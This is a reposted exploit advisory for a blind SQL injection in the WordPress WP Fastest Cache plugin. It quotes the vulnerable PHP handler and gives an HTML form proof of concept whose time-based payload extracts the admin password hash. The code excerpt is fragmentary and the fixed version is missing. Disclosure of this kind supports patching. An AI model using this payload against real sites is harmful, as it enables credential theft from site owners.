WordPress WP Fastest Cache Plugin – Blind SQL Injection Vulnerability

Posted on Posted in Exploit
Full title WordPress WP Fastest Cache Plugin – Blind SQL Injection Vulnerability
Date add 11-11-2015
Categoy web applications
Platform php
Security Risk Medium
# Date: 11-11-2015
# Software Link: https://wordpress.org/plugins/wp-fastest-cache/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
1. Description
For this vulnerabilities also WP-Polls needs to be installed.
Everyone can access wpfc_wppolls_ajax_request().
$_POST["poll_id"] is not escaped properly.
File: wp-fastest-cache\inc\wp-polls.php
public function wpfc_wppolls_ajax_request() {
    $id = strip_tags($_POST["poll_id"]);
    $id = mysql_real_escape_string($id);
    $result = check_voted($id);
        echo "true";
        echo "false";
2. Proof of Concept
<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wpfc_wppolls_ajax_request">
    <input type="text" name="poll_id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1) -- ">
    <input type="submit" value="Send">
3. Solution:
Update to version

Quelle: 0day.today